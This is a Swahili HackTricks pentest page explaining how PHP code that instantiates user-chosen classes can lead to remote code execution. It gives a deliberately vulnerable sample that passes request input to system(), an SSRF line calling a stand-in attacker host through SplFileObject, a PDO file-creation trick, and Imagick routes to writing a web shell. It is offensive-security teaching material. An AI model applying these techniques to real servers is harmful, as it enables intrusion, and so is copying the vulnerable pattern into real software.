6.8 KiB
PHP - RCE kwa kutumia uundaji wa vitu: new $_GET["a"]($_GET["b"])
Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikionekana kwenye HackTricks au kupakua HackTricks kwa muundo wa PDF Angalia MPANGO WA KUJIUNGA!
- Pata swag rasmi wa PEASS & HackTricks
- Gundua The PEASS Family, mkusanyiko wetu wa NFTs za kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye HackTricks na HackTricks Cloud repos za github.
Hii ni muhtasari wa https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
Utangulizi
Uundaji wa vitu vipya visivyojulikana, kama vile new $_GET["a"]($_GET["a"])
, unaweza kusababisha Utekelezaji wa Kanuni kwa Mbali (RCE), kama ilivyoelezwa katika makala. Hati hii inaelezea mikakati mbalimbali ya kufanikisha RCE.
RCE kupitia Darasa za Kibinafsi au Kujisomea
Sintaksia new $a($b)
hutumiwa kuunda kipengee ambapo $a
inawakilisha jina la darasa na $b
ni hoja ya kwanza iliyopitishwa kwa konstrukta. Hizi ni hoja ambazo zinaweza kupatikana kutoka kwa pembejeo za mtumiaji kama vile GET/POST, ambapo zinaweza kuwa herufi au mizunguko, au kutoka kwa JSON, ambapo zinaweza kuwa aina nyingine.
Fikiria kificho kilichopo hapo chini:
class App {
function __construct ($cmd) {
system($cmd);
}
}
class App2 {
function App2 ($cmd) {
system($cmd);
}
}
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
Katika kesi hii, kuweka $a
kama App
au App2
na $b
kama amri ya mfumo (kwa mfano, uname -a
) kunasababisha utekelezaji wa amri hiyo.
Kazi za kujisomea moja kwa moja zinaweza kudukuliwa ikiwa hakuna darasa kama hilo linalopatikana moja kwa moja. Kazi hizi hulipakia moja kwa moja darasa kutoka kwenye faili wakati inahitajika na zinatangazwa kwa kutumia spl_autoload_register
au __autoload
:
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});
function __autoload($class_name) {
include $class_name . '.php';
};
spl_autoload_register();
Tabia ya kujisomea inatofautiana na toleo la PHP, ikitoa fursa tofauti za RCE.
RCE kupitia Darasa Zilizojengwa
Kukosekana kwa darasa za desturi au autoloaders, darasa za PHP zilizojengwa zinaweza kuwa za kutosha kwa RCE. Idadi ya darasa hizi inatofautiana kati ya 100 hadi 200, kulingana na toleo la PHP na nyongeza zilizowekwa. Zinaweza kuorodheshwa kwa kutumia get_declared_classes()
.
Wakati wa kujenga darasa, inawezekana kutambua wajenzi wa kuvutia kupitia API ya uchunguzi, kama ilivyoonyeshwa katika mfano ufuatao na kiungo https://3v4l.org/2JEGF.
RCE kupitia njia maalum ni pamoja na:
SSRF + Phar Deserialization
Darasa la SplFileObject
linawezesha SSRF kupitia wajenzi wake, kuruhusu uunganisho kwa URL yoyote:
new SplFileObject('http://attacker.com/');
SSRF inaweza kusababisha mashambulizi ya deserialization katika toleo la PHP kabla ya 8.0 kwa kutumia itifaki ya Phar.
Kuathiri PDOs
Mjenzi wa darasa la PDO huruhusu uunganisho na database kupitia herufi za DSN, ambazo zinaweza kuwezesha uundaji wa faili au mwingiliano mwingine:
new PDO("sqlite:/tmp/test.txt")
SoapClient/SimpleXMLElement XXE
Toleo la PHP hadi 5.3.22 na 5.4.12 lilikuwa linaweza kushambuliwa na mashambulizi ya XXE kupitia wajenzi wa SoapClient
na SimpleXMLElement
, kulingana na toleo la libxml2.
RCE kupitia Ugani wa Imagick
Katika uchambuzi wa tegemezi za mradi, iligundulika kuwa Imagick inaweza kutumika kwa utekelezaji wa amri kwa kuunda vitu vipya. Hii inatoa fursa ya kutumia udhaifu.
Mchambuzi wa VID
Uwezo wa mchambuzi wa VID wa kuandika maudhui kwenye njia yoyote iliyotajwa kwenye mfumo wa faili uligunduliwa. Hii inaweza kusababisha kuwekwa kwa kabati la PHP kwenye saraka inayopatikana kwenye wavuti, ikifanikisha Utekelezaji wa Amri kwa Mbali (RCE).
Mchambuzi wa VID + Kuleta Faili
Imeonekana kuwa PHP inahifadhi faili zilizopakiwa kwa muda katika /tmp/phpXXXXXX
. Mchambuzi wa VID katika Imagick, kwa kutumia itifaki ya msl, inaweza kushughulikia alama za mwanya katika njia za faili, kurahisisha uhamishaji wa faili ya muda mfupi kwenye eneo lililochaguliwa. Njia hii inatoa njia nyingine ya kuandika faili isiyojulikana kwenye mfumo wa faili.
PHP Crash + Brute Force
Njia iliyoelezwa katika maandishi ya awali inahusisha kupakia faili ambazo husababisha kushindwa kwa seva kabla ya kufutwa. Kwa kujaribu jina la faili ya muda mfupi, inawezekana kwa Imagick kutekeleza nambari ya PHP isiyojulikana. Walakini, mbinu hii iligundulika kuwa na ufanisi tu katika toleo lililopitwa na wakati la ImageMagick.
Marejeo
Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa muundo wa PDF Angalia MPANGO WA KUJIUNGA!
- Pata swag rasmi wa PEASS & HackTricks
- Gundua The PEASS Family, mkusanyiko wetu wa NFTs za kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram](https://t.me/peass) au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za udukuzi kwa kuwasilisha PR kwa HackTricks na HackTricks Cloud github repos.